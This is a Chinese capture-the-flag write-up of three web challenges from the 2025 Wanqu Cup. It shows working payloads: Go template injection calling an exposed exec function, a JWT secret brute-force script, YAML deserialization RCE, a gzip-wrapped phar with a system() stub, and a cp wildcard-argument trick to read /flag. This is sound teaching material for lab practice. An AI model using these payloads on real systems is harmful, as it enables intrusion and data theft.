湾区杯2025复现 参考链接:
https://mp.weixin.qq.com/s?__biz=MzkwODE4ODUzMg==&mid=2247487100&idx=1&sn=bd81cd00c2e0ef73c68804528a503db6&chksm=c19c258a31cd1a030ec9a43a968204a14bf1bbe51409c6e352d7bec0f7dbbce99c1558e8c776&mpshare=1&scene=23&srcid=0909qJjtwzU2oZtkQDIlXJFB&sharer_shareinfo=fc044bef20ed1731728bab184812ef7e&sharer_shareinfo_first=fc044bef20ed1731728bab184812ef7e#rd
ssti
很明显的ssti
测试模版类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 测试jinjia2 {{7 *7 }} 回显 {{7 *7 }} 再测试twig {{7 *'7' }} 回显 {{7 *'7' }} 接着测试smarty {$smarty.version} 这里涉及到一个没学过的新模版Golang 测试Golang {{ .Error }} 回显<no value > 继续跟进测试Golang {{.}} 回显map[B64Decode:0x6ee380 exec:0x6ee120]
{{ . }}
含义: 中的点 . 代表当前上下文 。模板引擎输出整个当前上下文对象 (即 dot . 本身),它可以是一个结构体、一个 map、一个字符串等任何传递给 tmpl.Execute 的数据对象。
模板的数据上下文是一个 map,这个 map 中包含两个键:B64Decode 和 exec,它们的值 0x6ee380 和 0x6ee120 是函数的内存地址。这明确告诉攻击者,开发者向模板暴露了两个函数:B64Decode 和 exec
1 2 {{ .Name }} `, ` {{ .Title }} `, ` {{ .Content }} `, ` {{ .Template }} 这些是 Web 应用程序中非常常见的变量名
1 2 继续测试:输入 {{printf "%T" .}} 输出结果: template.FuncMap
{{ printf "%T" . }} 的意思是:“请使用 printf 函数,按照 %T 格式的要求,输出当前上下文(.)的类型。”
1 2 {{printf "%T" (index . "exec" )}} 返回func(string) string
确认了 exec 是一个函数,它接受一个 string 参数并返回一个 string。****
尝试直接调用exec
1 2 3 {{ call (index . "exec" ) "cat /flag" }} 返回 {{ call (index . "exec" ) "cat /flag" }} 失败了。服务器端可能对 template 参数的内容进行了某种过滤或转义(例如,检测到引号 " 就被拦截了),导致它没有被成功注入到待解析的模板中
关键函数:call
功能: 调用 一个函数。
语法: call <function_value> <argument1> <argument2> ...
要求: 第一个参数必须是一个函数,后续参数是传递给该函数的参数。
示例: call (index . "exec") "cat /flag"
(index . "exec"): 这是一个嵌套的动作。先执行 index . "exec",结果是那个 exec 函数。
call ... "cat /flag": 调用上一步得到的函数,并传入参数 "cat /flag"。
关键函数:index
index
功能: 用于访问数组、切片、map 的元素。
语法: index <collection> <key_or_index>
示例:
访问 Map: index . "exec"
<collection> 是当前上下文 . (那个 map)。
<key_or_index> 是键 "exec"。
结果: 这行代码会返回 map . 中键 "exec" 对应的值 。根据服务器返回 (map[B64Decode:0x6ee380 exec:0x6ee120]),这个值是一个函数(地址 0x6ee120)。
尝试利用B64Decode绕过过滤
1 2 3 4 {{ call (index . "B64Decode" ) "Y2F0IC9mbGFn" }} Y2F0IC9mbGFn 是 cat /flag 的 Base64 编码。 回显cat /flag
成功执行了B64Decode函数。
然后进行call函数的嵌套调用
最终payload: 1 {{ call (index . "exec" ) (call (index . "B64Decode" ) "Y2F0IC9mbGFn" ) }}
得到flag。
另一种解法:
然后发现只是过滤了cat和flag而已。直接不需要嵌套也能过
1 {{ call (index . "exec" ) "tac /fl??" }}
。。。
ez_python 一进去发现是一个文件执行的web网页。
但是只限admin用户才能使用。
查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <script > let token = "" ; fetch ("/auth" ) .then (res => res.json ()) .then (data => { token = data.token ; const payload = JSON .parse (atob (token.split ('.' )[1 ])); document .getElementById ("user-info" ).innerHTML = "<span style='color:#444'>👤 " + payload.username + "</span> | " + "<span style='color:#4CAF50'>Role: " + payload.role + "</span>" ; }); function runCode ( ) { const fileInput = document .getElementById ('codefile' ); const mode = document .getElementById ("mode" ).value ; if (fileInput.files .length === 0 ) { document .getElementById ("result" ).textContent = '{"error": "Please select a file to upload."}' ; return ; } const file = fileInput.files [0 ]; const formData = new FormData (); formData.append ('codefile' , file); formData.append ('mode' , mode); fetch ("/sandbox" , { method : "POST" , headers : { "Authorization" : "Bearer " + token }, body : formData }) .then (res => res.json ()) .then (data => { document .getElementById ("result" ).textContent = JSON .stringify (data, null , 2 ); }); } </script >
访问/auth路由看看,返回了一串jwt
1 { "token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E" }
尝试伪造JWT,无密钥JWT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import jwt def generate_token(): headers = { "typ" : "JWT" , "alg" : "HS256" } keys = "" payload ={ "username" : "guest" , "role" : "admin" } token = jwt.encode(payload =payload, key =keys, algorithm ='HS256' , headers =headers) return tokenprint (generate_token()) eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIn0.82KQXQZQASec6qH9pnaB4RW5IOmOsHGqnaoHHP427Y8
在文件上传处抓包,然后修改token为我们伪造的jwt,发现返回有报错,并且提示了我们密钥的一部分。
得到
现在我们就可以爆破出末尾的两位
本地爆破脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import jwt import hmac import hashlib import base64 import string valid_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E" header, payload, signature = valid_jwt.split('.' ) prefix = "@o70xO$0%#qR9#" alphabet = string.ascii_letters + string.digits + "!@#$%^&*()_-+=[]{}|;:,.<>?/" for c1 in alphabet: for c2 in alphabet: key = prefix + c1 + c2 key_bytes = key.encode() message = f"{header}.{payload}" .encode() computed_sig = hmac.new(key_bytes, message, hashlib.sha256).digest() computed_sig_b64 = base64.urlsafe_b64encode(computed_sig).decode().rstrip("=" ) if computed_sig_b64 == signature: print("Found key:" , key) admin_payload = {"username" : "guest" , "role" : "admin" } admin_token = jwt.encode(admin_payload, key_bytes, algorithm="HS256" ) print("Admin token:" , admin_token) exit (0 ) 输出 Found key: @o70xO$0 % Admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIn0.h6QY-f521uX-fy_wmBSN2oVCGKChY9MATy75bfaZ6iU
也可以使用请求爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import jwt, requests, string url = "http://web-64090edb27.challenge.xctf.org.cn/sandbox" prefix = "@o70xO$0 %#qR9#" alphabet = string.ascii_letters + string.digits payload = {"username" : "guest" , "role" : "admin" } for c1 in alphabet: for c2 in alphabet: key = prefix + c1 + c2 token = jwt.encode(payload, key, algorithm ="HS256" ) headers = {"Authorization" : f"Bearer {token}" } files = {"codefile" : ("x.yaml" , "a: 1\n" ), "mode" : (None, "yaml" )} r = requests.post(url, headers =headers, files =files) if r.status_code != 500 and "JWT Decode Failed" not in r.text and r.status_code ==200: print ("[!] Valid key found:" , key) print ("[!] Response:" , r.text) exit(0) "" " [!] Valid key found: @o70xO$0 %#qR9#m0 [!] Response: {" result":" {'a' : 1}"} " ""
得到了密钥就可以进行伪造了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import jwt def generate_token(): headers = { "typ" : "JWT" , "alg" : "HS256" } keys = "@o70xO$0 %#qR9#m0" payload ={ "username" : "guest" , "role" : "admin" } token = jwt.encode(payload =payload, key =keys, algorithm ='HS256' , headers =headers) return tokenprint (generate_token())
然后就能去尝试执行python命令执行或者yaml反序列化了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ctf python 命令执行解题 getattr (__import__ ('os' ), '\x73\x79\x73\x74\x65\x6d' )('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67' ) 返回getattr (__import__ ('os' ), '\x73\x79\x73\x74\x65\x6d' )('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67' ) __builtins__.__import__ ('os' ).popen ('cat /flag' ).read () __builtins__["__import__" ] ("os" ).popen ("cat /flag" ).read () import importlib os = importlib.import_module ("os" ) os.popen ("cat /flag" ).read () __builtins_ communicate import importlib 返回 {"error" :"forbidden keyword detected" } import __builtins_ communicate import importlib 都被ban了
尝试使用yaml反序列化来RCE
1 2 3 4 !!python/object/apply:subprocess.check_output - !!python/tuple - "cat" - "/flag"
返回{“error”:”Command ‘(‘cat’, ‘/flag’)’ returned non-zero exit status 1.”}
可能是因为文件不存在
尝试ls命令
1 2 3 4 !!python/object/apply:subprocess.check_output - !!python/tuple - "ls" - "/"
返回
1 {"result" :"b'app\\ nbin\\ nboot\\ ndev\\ netc\\ nf1111ag\\ nhome\\ nlib\\ nlib64\\ nmedia\\ nmnt\\ nopt\\ nproc\\ nroot\\ nrun\\ nsbin\\ nsrv\\ nsys\\ ntmp\\ nusr\\ nvar\\ n'" }
然后直接读取flag即可
1 2 3 4 !!python/object/apply:subprocess.check_output - !!python/tuple - "cat" - "/f1111ag"
得到flag
1 {"result" :"b'flag{9D5fiZGYCMrNZ2GQFSct0PSg2TlB3dnl}\\ n'" }
easy_readfile 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php highlight_file (__FILE__ );function waf ($data ) { if (is_array ($data )){ die ("Cannot transfer arrays" ); } if (preg_match ('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i' , $data )) { die ("You can't do" ); } }class Coral { public $pivot ; public function __set ($k , $value ) { $k = $this ->pivot->ctor; echo new $k ($value ); } }class Nimbus { public $handle ; public $ctor ; public function __destruct ( ) { return $this ->handle (); } public function __call ($name , $arg ) { $arg [1 ] = $this ->handle->$name ; } }class Zephyr { public $target ; public $payload ; public function __get ($prop ) { $this ->target->$prop = $this ->payload; } }class Acheron { public $mode ; public function __destruct ( ) { $data = $_POST [0 ]; if ($this ->mode == 'w' ) { waf ($data ); $filename = "/tmp/" .md5 (rand ()).".phar" ; file_put_contents ($filename , $data ); echo $filename ; } else if ($this ->mode == 'r' ) { waf ($data ); $f = include ($data ); if ($f ){ echo "It is file" ; } else { echo "You can look at the others" ; } } } }if (strlen ($_POST [1 ]) < 52 ) { $a = unserialize ($_POST [1 ]); }else { echo "str too long" ; }?>
很明显的php反序列化
读/写文件 pop
1 2 3 4 O :7 :"Acheron" :1 :{s:4 :"mode" ;s:1 :"r" ;} #读文件时使用O :7 :"Acheron" :1 :{s:4 :"mode" ;s:1 :"W" ;} #写文件时使用
但是限制了传参的长度,所以无法使用php原生类来读取文件或者是RCE
所以只能尝试使用Phar反序列化
但是这里过滤了**__HALT_COMPILER**:
Phar 文件的 stub 结束标记,是 Phar 反序列化的关键标识
1 2 3 4 5 6 7 8 function waf($data){ if (is_array($data)){ die("Cannot transfer arrays" ); } if (preg_match('/<\?|__HALT_COMPILER |get |Coral |Nimbus |Zephyr |Acheron |ctor |payload |php |filter |base64 |rot13 |read |data /i', $data)) { die("You can't do" ); } }
但是可以使用gz压缩来绕过过滤
gz压缩绕过的原理:
1、一个原始的、未压缩的 Phar 文件是二进制格式,但其内容中仍然会以明文形式包含这些敏感字符串
2、GZIP 压缩是一种二进制编码过程。它将输入的字节流转换为另一种字节流。原有的可读字符串(如 __HALT_COMPILER, Coral, php 等)会被转换成不可读的、看起来随机的二进制数据 。
3、PHP 的 include 函数能自动解压。PHP 的 include/require 函数有一个特性: 它们可以识别和处理 GZIP 压缩后的数据****
先生成Phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class Coral { public $pivot ; } @unlink ("test.phar" );$a = new Coral ;echo serialize ($a );$phar = new Phar ("test.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php system(\$_POST[4]); __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();
接着
通过gz压缩绕过黑名单
1 2 3 4 5 6 7 8 import urllib.parse import gzipwith open ('test.phar' , 'rb' ) as file : f = file .read () data = gzip.compress (f) url_data = urllib.parse.quote (data) print(url_data)
生成的phar
1 % 1 F% 8 B% 08 % 00 % 0 C% EF% BFh% 02 % FF% B3 % B1 /% C8 % 28 P% 28 % AE% 2 C.I% CD% D5 P% 89 % 0 F% F0 % 0 F% 0 E% 896 % 89 % D5 % B4 VP% 88 % 8 F% F7 p% F4 % 09 % 89 w% F6 % F7 % 0 D% F0 % F4 q% 0 D% D2 % 00 % 8 A% D9 % DB% F1 r% 850000 % 02 % B1 % 20 % 94 f% 60 % 90 % 03 b% 7 F% 2 BS% 2 B% 25 % E7 % FC% A2 % C4 % 1 C% 25 % 2 BC% AB% EAb% 10 % B7 % 20 % B3 % 2 C% BFD% C9 % DA% CF% BA% 96 % 03 % A8 % A2 % 24 % B5 % B8 D% AF% A4 % A2 % 84 % 05 % C8 f% 7 D% BF% 3 F% 03 D% F3 % D4 % D5 % DF% D8 % 061 % 04 % 2 C% 7 F% 96 % B1 % B0 H% E3 % 8 A% A0 % E6 % C9 k3 % 2 B% 14 % B4 v% A9 % E9 K1 % BE% 9 F% AA% 9 A% 2 C% 94 % C7 % 15 p% AD% DF5 % F5 -3 P% 9 D% BB% 93 % AF% 13 % 00 % BEm% 8 D% 02 % B5 % 00 % 00 % 00
上传内容
1 2 3 POST参数1 =O:7 :"Acheron" :1 :{s:4 :"mode" ;s:1 :"W" ;}&0 =% 1 F% 8 B% 08 % 00 % 0 C% EF% BFh% 02 % FF% B3 % B1 /% C8 % 28 P% 28 % AE% 2 C.I% CD% D5 P% 89 % 0 F% F0 % 0 F% 0 E% 896 % 89 % D5 % B4 VP% 88 % 8 F% F7 p% F4 % 09 % 89 w% F6 % F7 % 0 D% F0 % F4 q% 0 D% D2 % 00 % 8 A% D9 % DB% F1 r% 850000 % 02 % B1 % 20 % 94 f% 60 % 90 % 03 b% 7 F% 2 BS% 2 B% 25 % E7 % FC% A2 % C4 % 1 C% 25 % 2 BC% AB% EAb% 10 % B7 % 20 % B3 % 2 C% BFD% C9 % DA% CF% BA% 96 % 03 % A8 % A2 % 24 % B5 % B8 D% AF% A4 % A2 % 84 % 05 % C8 f% 7 D% BF% 3 F% 03 D% F3 % D4 % D5 % DF% D8 % 061 % 04 % 2 C% 7 F% 96 % B1 % B0 H% E3 % 8 A% A0 % E6 % C9 k3 % 2 B% 14 % B4 v% A9 % E9 K1 % BE% 9 F% AA% 9 A% 2 C% 94 % C7 % 15 p% AD% DF5 % F5 -3 P% 9 D% BB% 93 % AF% 13 % 00 % BEm% 8 D% 02 % B5 % 00 % 00 % 00
得到文件路径
成功实现命令执行
绕过权限读/flag 因为权限问题不能直接读/flag.
在根目录下找到 run.sh脚本
脚本内容:
1 2 3 4 5 6 7 #!/bin/bash cd /var/www/html/while :do cp -P * /var/www/html/backup/chmod 755 -R /var/www/html/backup/sleep 10
这个脚本会每隔10秒中,把/var/www/html/ 目录下的文件,复制一份到 /var/www/html/backup/ 中,并且权限设置为 755. 是可读权限.
我们可以利用这个脚本,因为对flag没有权限,所以我们不能直接把它复制到/var/www/html/ 目录下,但是我们可以创建一个 它的链接(类似快捷方式)的文件.
但是 脚本中的cp 执行 是 -P参数, 不跟随链接, 就是只会把快捷方式复制过去,而不是指向的flag的内容.我们还是看不到.
cp指令参数
选项 名称/含义 对命令行参数中的符号链接 对目录内部的符号链接 备注 -P 不跟随 (Preserve link) 复制链接本身 复制链接本身 通常是默认行为 -H 仅命令行跟随 复制链接指向的目标 复制链接本身 只对直接列出的源起作用 -L 总是跟随 (Follow link) 复制链接指向的目标 复制链接指向的目标 与 -P 行为完全相反
注意这里:
1 cp -P * /var /www/html /backup/
*的解析规则
Shell 会列出当前目录下所有非隐藏文件和目录 (即不以 . 开头的)。
然后按字母顺序排序 ,生成一个文件名列表。
最后,把 * 替换成这个列表,再执行 cp 命令。
1 2 3 4 5 6 7 如果当前目录有:a .txt b .txt file.txt 就会解析成 cp -P a .txt b .txt file.txt /var/www/html/backup/
如果文件名是-
文件名就会被当做命令行选项解析
根据linux系统命令参数的后来者胜出原则,我们在 -P 后边添加 -H 就会实现跟随链接复制了. 所以,我们可以创建一个名字为 -H 或者 -L的文件,然后再创建 /flag的链接,就可以复制flag的内容了.
所以
1 2 3 4 5 6 7 8 9 10 11 cd /var/www/html touch -- -H ln -s /flag flagcat backup/flag
这题有点意思
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。